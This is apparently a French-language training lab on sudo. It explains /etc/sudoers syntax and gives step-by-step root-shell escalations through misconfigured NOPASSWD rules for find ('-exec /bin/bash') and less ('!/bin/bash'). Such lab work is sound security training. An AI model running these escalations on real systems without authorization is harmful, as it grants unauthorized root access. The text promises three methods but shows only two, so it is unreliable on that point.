Introduction
Dans ce laboratoire, vous apprendrez la syntaxe du fichier de configuration sudo et pratiquerez trois méthodes courantes pour monter en privilèges via des vulnérabilités ou des mauvaises configurations de sudo. L'objectif est de mieux comprendre comment exploiter sudo pour monter en privilèges lors d'un test de pénétration.
Syntaxe du fichier de configuration sudo
Dans cette étape, vous apprendrez la syntaxe du fichier /etc/sudoers, qui est utilisé pour configurer les privilèges sudo.
Le fichier /etc/sudoers est utilisé pour spécifier quels utilisateurs ou groupes peuvent exécuter des commandes avec des privilèges élevés. Pour afficher et enregistrer le contenu du fichier /etc/sudoers, exécutez la commande suivante :
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
La sortie devrait ressembler à ce qui suit :
## Ce fichier DOIT être édité avec la commande 'visudo' en tant que root.
## Cela conserve les paramètres de proxy des environnements utilisateur de root
## Bien que vous ne devriez normalement pas exécuter git en tant que root, vous devez le faire avec etckeeper
## Préférences par utilisateur ; root n'aura pas de valeurs sensées pour elles.
root ALL=(ALL:ALL) ALL
## Les membres du groupe admin peuvent obtenir les privilèges root
Cette ligne spécifie que l'utilisateur root peut exécuter n'importe quelle commande en tant que n'importe quel utilisateur ou groupe sur tous les hôtes.
La syntaxe générale pour une entrée sudoers est :
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name: L'utilisateur ou le groupe auquel la règle s'applique.host_list: L'hôte (ou les hôtes) sur lequel (ou lesquels) la règle s'applique. La valeurALLsignifie tous les hôtes.run_as_user: L'utilisateur dont les privilèges sont utilisés pour exécuter la commande. La valeurALLsignifie n'importe quel utilisateur.run_as_group: Le groupe dont les privilèges sont utilisés pour exécuter la commande. La valeurALLsignifie n'importe quel groupe.command_list: La (ou les) commande(s) que l'utilisateur ou le groupe est autorisé à exécuter.
Sudo permet l'escalade de privilèges sans restrictions d'arguments
Dans cette étape, vous pratiquerez l'élévation de privilèges en exploitant des mauvaises configurations de sudo qui permettent d'exécuter n'importe quelle commande avec des privilèges élevés.
Tout d'abord, ouvrez un terminal et accédez au répertoire
/home/labex/project.cd /home/labex/projectInitialisez l'environnement en exécutant la commande suivante :
./env_setup_1.shVous êtes maintenant connecté en tant qu'utilisateur
user001.Utilisez la commande
sudo -lpour vérifier vos privilèges sudo :sudo -l(root) NOPASSWD:/usr/bin/findCela signifie que vous pouvez exécuter la commande
findavec les privilègesrootsans mot de passe.Pour monter en privilèges, exécutez :
sudo find /home -exec /bin/bash \;Vous devriez maintenant avoir un shell
root.Créez un fichier nommé
success_1.txtdans le répertoire/rootpour vérifier que vous avez les privilègesroot:echo "success_1" | sudo tee /root/success_1.txtVérifiez le fichier en exécutant :
cat /root/success_1.txtLa sortie devrait être
success_1.
Sudo permet l'escalade de privilèges avec des arguments de commande spécifiques
Dans cette étape, vous pratiquerez l'élévation de privilèges en exploitant des mauvaises configurations de sudo qui permettent d'exécuter des commandes spécifiques avec des privilèges élevés.
Après l'étape précédente, vous êtes toujours connecté en tant qu'utilisateur root. Pour poursuivre cette étape, vous devez fermer le terminal actuel et en ouvrir un nouveau.
Tout d'abord, ouvrez un terminal et accédez au répertoire
/home/labex/project.cd /home/labex/projectInitialisez l'environnement en exécutant la commande suivante :
./env_setup_2.shVérifiez vos privilèges sudo avec
sudo -l:sudo -lSortie attendue :
(root) NOPASSWD: /bin/less /var/log/messagesCela signifie que vous pouvez exécuter la commande
/bin/less /var/log/messagesavec les privilègesrootsans mot de passe.Pour monter en privilèges, exécutez :
sudo less /var/log/messagesUne fois dans le visualiseur
less, exécutez :!/bin/bashVous devriez maintenant avoir un shell
root.Créez un fichier nommé
success_2.txtdans le répertoire/rootpour vérifier que vous avez les privilègesroot:echo "success_2" | sudo tee /root/success_2.txtVérifiez le fichier en exécutant :
cat /root/success_2.txtLa sortie devrait être
success_2.
Résumé
Dans ce laboratoire, vous avez appris la syntaxe du fichier /etc/sudoers et comment configurer les privilèges sudo. Vous avez également pratiqué trois méthodes courantes pour monter en privilèges via des mauvaises configurations ou des vulnérabilités de sudo. En comprenant comment exploiter sudo pour monter en privilèges, vous pouvez mieux évaluer et atténuer les risques de sécurité potentiels dans les systèmes Linux.
